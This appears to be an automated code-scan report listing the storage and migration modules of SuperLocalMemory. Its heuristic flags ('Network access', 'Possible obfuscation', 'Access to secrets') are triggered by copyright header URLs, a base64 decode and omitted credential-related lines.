Executable file
src/superlocalmemory/storage/admission_codec.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/admission_journal.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com - Possible obfuscationline 361
plaintext = self._codec.decrypt(base64.b64decode(encoded, validate=True))
src/superlocalmemory/storage/agent_experience.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/archive_repair.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/backup.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/correction_cases.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/data_repair_undo.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/database.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 254
[Credential-related source omitted] - Access to secretsline 263
[Credential-related source omitted]
src/superlocalmemory/storage/deferred_writes.py
src/superlocalmemory/storage/embedding_canonical_slots.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/embedding_change_log.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/embedding_codec.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/embedding_migrator.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/embedding_projection.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/embedding_reindex_jobs.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/embedding_space_swap.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/embedding_spaces.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 186
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 195
[Credential-related source omitted] - Access to secretsline 196
[Credential-related source omitted]
src/superlocalmemory/storage/enrichment_ledger.py
src/superlocalmemory/storage/entity_index.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/entity_link_repair.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/entity_link_repair_apply.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/entity_link_repair_junk.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/erasure_derived.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/erasure_fence.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/erasure_visibility.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/event_time.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/execution_learning.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/external_evidence.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/fabricated_dates.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/fabricated_dates_repair.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/fact_context.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/fact_dependents.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/fact_search_changes.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/fts_residue.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/fts_terms.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/generation_fence.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/graph_generation.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/hub_baseline_trigger.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/idempotency_identity.py
src/superlocalmemory/storage/integrity_census.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/integrity_diagnosis.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/integrity_health.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/integrity_obligations.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/integrity_receipts.py
src/superlocalmemory/storage/integrity_repair.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/integrity_scan.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/journal_writer.py
src/superlocalmemory/storage/lineage_retention.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/logical_edges.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/memory_kind_store.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/memory_kind_writes.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/memory_kinds.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/memory_write.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com - Access to secretsline 68
[Credential-related source omitted]
src/superlocalmemory/storage/migration_runner.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migration_v33.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/migrations.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/migrations/M001_add_signal_features_columns.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M002_model_state_history.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M003_migration_log.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M004_cross_platform_sync_log.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M005_bandit_tables.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M006_action_outcomes_reward.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M007_pending_outcomes.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M009_model_lineage.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M010_evolution_config.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M011_archive_and_merge.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M012_shadow_observations.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M013_bi_temporal_columns.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M014_v345_scale_ready.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M015_add_pinned_column.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M016_add_scope_support.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M017_ccq_scope_column.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M018_ingestion_operations.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M019_derivation_lineage.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M020_model_state_integrity.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M021_ingestion_log_profile.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M022_entity_aliases_profile.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M023_mesh_profile_isolation.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M024_rbac_users_roles.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M025_perf_indexes.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M026_rbac_memberships_fk.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M027_transferable_patterns_profile.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M028_fact_entity_associations.py
src/superlocalmemory/storage/migrations/M029_behavioral_history_indexes.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M030_entity_explorer_indexes.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M031_dead_letter_operations.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/migrations/M032_write_coordinator_admission.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M033_projection_transactions.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M034_obligation_integrity.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M035_erasure_receipts.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M036_vector_row_map.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M037_manifest_hmac_version.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M038_learning_feedback_channel.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M039_scene_fact_members.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M040_agent_experience_receipts.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M041_external_evidence_receipts.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M042_correction_case_ledger.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M043_quarantine_display_summaries.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M044_play_carries_its_own_evidence.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M045_fact_outcome_score.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M046_prospective_memory_has_its_own_name.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M047_fisher_vectors_are_stored_like_every_other_vector.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/migrations/M048_upcoming_holds_only_what_is_upcoming.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/migrations/M049_a_schema_version_marker_is_one_row.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/migrations/M050_execution_learning_v2.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M051_lifecycle_is_recomputed_not_resampled.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/migrations/M052_memory_kinds.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M053_answer_check_history.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M054_saved_views.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M055_learning_attribution.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M056_recall_channel_indexes.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M057_temporal_retrieval_version.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M058_recall_fact_cover.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M059_erasure_visibility.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M060_memory_description.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M061_fact_hub_baseline.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M062_hook_bookkeeping_is_flagged.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/migrations/M063_blank_temporal_dates_are_null.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M064_orphan_index_rows_are_removed.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M065_fabricated_dates_are_removed.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M066_wrongly_archived_memories_are_restored.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/M067_projection_follows_every_fact_change.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/migrations/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/migrations/_repair_util.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/models.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/own_fact_repair.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/pending_media_moves.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/profile_fold.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/profile_fold_sidecars.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/project_backfill.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/projection_outbox.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/qjl_repair.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/quantized_store.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/read_connection.py
src/superlocalmemory/storage/read_connection_pool.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/recency_index.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/replaced_memory.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/retention_access.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/retention_lifecycle.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/retention_policy.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/save_repair.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/save_repair_apply.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/scene_member_triggers.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/schema.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/schema_code_graph.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/schema_v32.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/schema_v3410.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/schema_v3411.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/schema_v343.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/schema_v345.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/schema_v347.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/snapshot_pool.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/source_identity.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/sqlite_vectors.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/store_cache_warm.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/store_check.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/store_repair.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/store_signature.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/unfinished_deletes.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/upgrade_repair.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/upgrade_restore.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/v2_migrator.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/vector_parity.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/vector_residue.py
- Executable scriptline 1
Executable file
src/superlocalmemory/storage/visibility_index.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/storage/write_coordinator.py
src/superlocalmemory/storage/write_generation.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory | https://qualixar.com """A counter that moves whenever this process writes to the memory store. - Network accessline 3
# Part of SuperLocalMemory | https://qualixar.com
src/superlocalmemory/storage/write_lock.py
